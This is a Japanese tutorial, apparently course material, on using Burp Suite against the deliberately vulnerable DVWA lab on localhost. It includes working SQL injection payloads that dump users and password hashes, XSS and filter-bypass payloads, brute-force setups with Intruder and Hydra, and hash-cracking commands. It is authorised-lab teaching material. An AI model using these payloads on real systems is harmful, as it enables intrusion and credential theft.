Burp Suite とは
Burp Suite は、PortSwigger社が開発したWebアプリケーションセキュリティテストの統合プラットフォームです。ペネトレーションテスターのデファクトスタンダードツールとして世界中で使用されています。
エディション:
- Community Edition(無料): 基本機能。このレッスンで使用
- Professional(有料): 高速スキャン自動化・高度なIntruder機能・BApp Store
Burp Suiteは強力なテストツールです。必ず自分が所有または書面で許可を得たシステムにのみ使用してください。このレッスンは Kali Linux 上の DVWA(Damn Vulnerable Web Application) を演習対象として使用します。
演習環境のセットアップ
DVWA の起動(Kali Linux)
Apache と MySQL を起動
sudo service apache2 start sudo service mysql start
サービス起動確認
sudo service apache2 status | grep “Active:“
出力例: Active: active (running) since …
sudo service mysql status | grep “Active:“
出力例: Active: active (running) since …
DVWA データベースの初期化
ブラウザで http://127.0.0.1/dvwa/setup.php にアクセスし
「Create / Reset Database」をクリック
ブラウザで DVWA にアクセス
URL: http://127.0.0.1/dvwa/
ユーザー名: admin
パスワード: password
セキュリティレベルの設定
DVWA の DVWA Security ページでセキュリティレベルを設定できます。
| レベル | 内容 | 用途 |
|---|---|---|
| Low | 入力値検証なし・保護機能なし | 基本的な攻撃手法の学習 |
| Medium | 部分的な検証あり | フィルター回避技術の学習 |
| High | より強固な保護 | 高度な回避技術の学習 |
| Impossible | 安全な実装の参考 | セキュアコーディングの学習 |
まず Low レベルで基本的な攻撃を確認し、その後 Medium レベルで同じ攻撃を試して「なぜ防がれるか」「どう回避できるか」を比較学習するのが効果的です。
Burp Suite のセットアップとブラウザプロキシ設定
Kali Linux で Burp Suite を起動
burpsuite &
または Applications メニュー → Web Application Analysis → burpsuite
プロキシ設定手順:
- Burp Suite → Proxy → Proxy settings → Proxy listeners
127.0.0.1:8080でリッスンしていることを確認- Firefox → 設定 → ネットワーク設定 → 手動でプロキシを設定
- HTTP プロキシ:
127.0.0.1、ポート:8080
- HTTP プロキシ:
- Burp CA 証明書のインポート(HTTPS傍受に必要):
- ブラウザで
http://burpsuiteにアクセス → CA 証明書をダウンロード - Firefox → 設定 → 証明書 → 証明書を表示 → インポート
- ブラウザで
FirefoxのFoxyProxyアドオンを使うと、プロキシのON/OFFをワンクリックで切り替えられます。Kali Linuxには事前設定済みの「Burp」プロファイルが含まれています。
Proxy インターセプト — リクエストの傍受と改ざん
基本的なインターセプト手順
- Burp Suite → Proxy タブ → Intercept is on をクリック(オンに)
- Firefox でプロキシを有効にし、DVWA のログインページにアクセス
- ユーザー名・パスワードを入力して Login をクリック
- Burp Suite にリクエストが停止される
POST /dvwa/login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
username=admin&password=password&Login=Login
- パラメータを確認後 → Forward で送信(または Drop で破棄)
HTTP History の活用
Proxy → HTTP history タブで、プロキシを通過したすべてのリクエスト・レスポンスの履歴が確認できます。右クリックメニューから各ツール(Repeater・Intruder・Decoder)に送信できます。
Repeater — リクエストの繰り返しテスト
Repeater は同じリクエストを手動で編集・再送信しながら挙動を調査するツールです。
SQL インジェクション(Low レベル)の手動テスト
ステップ1: DVWA Security を「Low」に設定
SQL Injection ページ(http://127.0.0.1/dvwa/vulnerabilities/sqli/)を開く
HTTP historyから GET リクエストを右クリック → Send to Repeater
ステップ2: 正常リクエスト(ベースライン確認)
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSID=xxxx; security=low
レスポンス: First name: admin / Surname: admin
ステップ3: シングルクォートでエラー確認
GET /dvwa/vulnerabilities/sqli/?id=1’&Submit=Submit HTTP/1.1
レスポンス例: You have an error in your SQL syntax; check the manual
→ SQLエラーが表示されれば SQLi が存在する
ステップ4: OR 条件で全レコード取得
GET /dvwa/vulnerabilities/sqli/?id=1’+OR+‘1’%3D’1&Submit=Submit HTTP/1.1
(URLエンコード: ’ OR ‘1’=‘1)
レスポンス: 全ユーザーのレコードが返る
ステップ5: ORDER BY でカラム数を特定
GET /dvwa/vulnerabilities/sqli/?id=1’+ORDER+BY+2—+-&Submit=Submit HTTP/1.1
エラーなし → 2カラム以上ある
GET /dvwa/vulnerabilities/sqli/?id=1’+ORDER+BY+3—+-&Submit=Submit HTTP/1.1
エラーあり → カラム数は2
ステップ6: UNION で情報抽出(データベース名・バージョン)
GET /dvwa/vulnerabilities/sqli/?id=-1’+UNION+SELECT+database(),version()—+-&Submit=Submit HTTP/1.1
レスポンス例:
First name: dvwa
Surname: 5.0.51a-3ubuntu5
SQLi でユーザーテーブルをダンプ
テーブル一覧の取得(information_schema を使用)
GET /dvwa/vulnerabilities/sqli/?id=-1’+UNION+SELECT+table_name,table_schema +FROM+information_schema.tables+WHERE+table_schema%3D’dvwa’—+-&Submit=Submit HTTP/1.1
レスポンス例:
First name: guestbook
First name: users ← usersテーブルを発見
users テーブルのカラム名取得
GET /dvwa/vulnerabilities/sqli/?id=-1’+UNION+SELECT+column_name,2 +FROM+information_schema.columns+WHERE+table_name%3D’users’—+-&Submit=Submit HTTP/1.1
レスポンス例: user, password, first_name, last_name…
ユーザー名とパスワードハッシュのダンプ
GET /dvwa/vulnerabilities/sqli/?id=-1’+UNION+SELECT+user,password +FROM+users—+-&Submit=Submit HTTP/1.1
レスポンス例:
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ← MD5ハッシュ
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
5f4dcc3b5aa765d61d8327deb882cf99 は “password” の MD5 ハッシュです。echo -n "password" | md5sum で確認できます。実際のペネトレーションテストでは John the Ripper や Hashcat でクラッキングを試みます。
SQL インジェクション(Medium レベル)との比較
Medium レベルでは addslashes() によりシングルクォートがエスケープされる
通常の SQLi は防がれる
しかし数値型パラメータのため、クォート不要な手法が有効
Repeater でボディを直接編集:
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded
id=1 OR 1=1&Submit=Submit
→ 数値型なのでクォート不要、全レコードが返る
UNION も同様に機能する
id=-1 UNION SELECT user,password FROM users— -&Submit=Submit
XSS(クロスサイトスクリプティング)のテスト
Reflected XSS(Low レベル)
XSS(Reflected)ページ: /dvwa/vulnerabilities/xss_r/
HTTP historyからリクエストを Send to Repeater
ステップ1: 基本的なアラートペイロード
GET /dvwa/vulnerabilities/xss_r/?name=<script>alert(‘XSS’)</script>&Submit=Submit HTTP/1.1
レスポンスボディに <script>alert(‘XSS’)</script> が含まれれば XSS 確認
ステップ2: Cookie 盗難ペイロード(実際のCookieが確認できる)
GET /dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>&Submit=Submit HTTP/1.1
レスポンス中に反映されたスクリプトがCookieを表示
ステップ3: img タグを使った代替ペイロード
GET /dvwa/vulnerabilities/xss_r/?name=<img+src=x+onerror=alert(1)>&Submit=Submit HTTP/1.1
Stored XSS(Low レベル)
Stored XSS ページ: /dvwa/vulnerabilities/xss_s/
Guestbook に以下のメッセージを投稿
POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded
txtName=test&mtxMessage=<script>alert(‘Stored+XSS!’)</script>&btnSign=Sign+Guestbook
→ ページをリロードするたびにスクリプトが実行される
→ 他のユーザーがこのページを閲覧するとスクリプトが発火する(恒久的影響)
XSS(Medium レベル)のフィルター回避
Medium レベルでは <script> タグが除去される
→ 大文字小文字混在で回避
name=<Script>alert(1)</Script>
→ イベントハンドラで回避(<script>タグを使わない)
name=<img src=x onerror=alert(document.cookie)>
→ 他のタグで回避
name=<body onload=alert(1)> name=<svg onload=alert(1)>
Intruder — ブルートフォース演習
Intruder はパラメータを変化させながら自動的に大量リクエストを送信します。
Burp Suite Community 版では Intruder にレート制限があり、動作が遅くなります(1〜2秒/リクエスト)。基本的な使い方の習得には十分ですが、本格的なブルートフォースには Professional 版または別ツール(Hydra 等)が適しています。
DVWA ログインのブルートフォース
ステップ1: ログインリクエストを Intruder に送信
HTTP history のログインリクエスト(POST /dvwa/login.php)を右クリック
→ Send to Intruder
ステップ2: Positions タブで攻撃ポジションを設定
「Auto §」をクリックして自動設定、または手動でパスワード部分を選択
Before: username=admin&password=password&Login=Login
After: username=admin&password=§password§&Login=Login
Attack type: Sniper(1つのポジション)
ステップ3: Payloads タブでパスワードリストを設定
Payload type: Simple list
パスワードを追加:
password
admin
123456
letmein
msfadmin
qwerty
または Load → /usr/share/wordlists/rockyou.txt(最初の100行程度を使用)
ステップ4: Settings タブでレスポンス差異の検出設定
Grep - Match に「Login failed」を追加
→ 失敗時のみこの文字列が含まれるため、含まれないものが成功
ステップ5: 「Start attack」をクリック
結果テーブルで「Login failed」が含まれていないリクエストを確認
Cluster Bomb でユーザー名+パスワードを総当たり
Positions タブの設定:
username=§admin§&password=§password§&Login=Login
Attack type: Cluster Bomb
Payload set 1(ユーザー名リスト):
admin
administrator
user
msfadmin
guest
Payload set 2(パスワードリスト):
password
admin
123456
msfadmin
→ 5 × 4 = 20 通りのすべての組み合わせをテスト
結果: レスポンス長が他と異なるものがログイン成功の可能性
Decoder と Comparer の活用
Decoder — エンコード/デコード
Base64 デコード(HTTP Basic 認証のデコード)
Input: YWRtaW46cGFzc3dvcmQ= Output: admin:password
URL エンコード(SQLi ペイロードのエンコード)
Input: ’ OR ‘1’=‘1 Output: %27+OR+%271%27%3D%271
HTML エンコード(XSS フィルター回避の確認)
Input: <script>alert(1)</script> Output: <script>alert(1)</script>
使い方:
1. Decoder タブを開く
2. テキストを貼り付け
3. 「Decode as…」または「Encode as…」で形式を選択
4. 変換結果がすぐ下に表示される
Comparer — レスポンス差分比較
用途: 成功/失敗したリクエストのレスポンスを比較し、どこが違うかを特定する。
- HTTP history で比較したい2つのレスポンスを右クリック → Send to Comparer
- Comparer タブ → Words または Bytes で差分表示
- 追加・削除された文字列がハイライト表示される
演習チャレンジ: DVWA 全機能テスト
ミッション1: SQLi から全ユーザーダンプ
DVWA の SQL Injection(Low)で UNION ベース SQLi を使い、users テーブルから全ユーザーのIDとパスワードハッシュを取得せよ。
ミッション2: MD5 ハッシュのクラッキング
ミッション1で取得したMD5ハッシュを hashcat または john でクラッキングせよ。
hashcat を使用(-m 0 は MD5)
hashcat -m 0 -a 0
5f4dcc3b5aa765d61d8327deb882cf99
/usr/share/wordlists/rockyou.txt
出力例:
5f4dcc3b5aa765d61d8327deb882cf99:password
john を使用
echo “5f4dcc3b5aa765d61d8327deb882cf99” > /tmp/hash.txt john —format=raw-md5 —wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt john —show /tmp/hash.txt
出力例: ?:password
ミッション3: Stored XSS でセッションCookieを取得
DVWA の XSS(Stored)ページで、document.cookie をアラートで表示するペイロードを Guestbook に投稿し、ページ再読込でスクリプトが実行されることを確認せよ。
ミッション4: Medium レベルの SQLi フィルター回避
DVWA の Security を Medium に変更し、Low で使ったペイロードが防がれることを確認した後、数値型パラメータを活用してフィルターを回避してユーザーダンプに成功せよ。
ミッション5: Intruder でログインブルートフォース
DVWA のログインフォームに対して Intruder(Sniper)でパスワードブルートフォースを実施し、admin のパスワードを特定せよ。/usr/share/wordlists/rockyou.txt の最初の100行から探し始める。
このレッスンでは「攻撃者がどのようにWebアプリケーションの脆弱性を発見・悪用するか」を実際のツールで体験しました。Impossible レベルの実装と Low レベルを比較することで「安全なコードとは何か」が具体的に理解できます。DVWA の Impossible レベルのソースコードを必ず確認してください。
トラブルシューティング
Burp Suite の画面がブラウザに表示されない(証明書エラー)
Burp Suite の CA 証明書をエクスポート
Burp Suite → Proxy → Proxy settings → Import / export CA certificate
→ Certificate in DER format で保存
Firefox へのインポート
設定 → プライバシーとセキュリティ → 証明書を表示
→ 認証局 → インポート → 保存した .der ファイルを選択
→ 「ウェブサイトを識別するためにこの認証局を信頼する」にチェック
DVWA にログインできない(データベースエラー)
MySQL を再起動して再試行
sudo service mysql restart sudo service apache2 restart
ブラウザで http://127.0.0.1/dvwa/setup.php にアクセス
「Create / Reset Database」をクリック
config.php の設定確認
sudo cat /var/www/html/dvwa/config/config.inc.php | grep -E “db_|DB_“
db_user = ‘root’、db_password = ” であることを確認
MySQL の root パスワード確認
sudo mysql -u root
mysql> SHOW DATABASES; で dvwa があることを確認
Intruder の速度が遅すぎる(Community 版)
Community 版ではレート制限があります。少数のペイロードでテストするか、Hydra を代替として使用してください。
Hydra を使った HTTP フォームブルートフォース
hydra -l admin
-P /usr/share/wordlists/rockyou.txt
127.0.0.1
http-post-form
“/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed”
出力例:
[80][http-post-form] host: 127.0.0.1 login: admin password: password
Repeater でリクエストを送信してもセッションエラーになる
DVWA のセッションCookieが期限切れになっている可能性があります。HTTP history の最新リクエストから Cookie を確認し、Repeater のリクエストヘッダー内の Cookie: を更新してください。
Burp SuiteのRepeaterツールの主な用途はどれですか?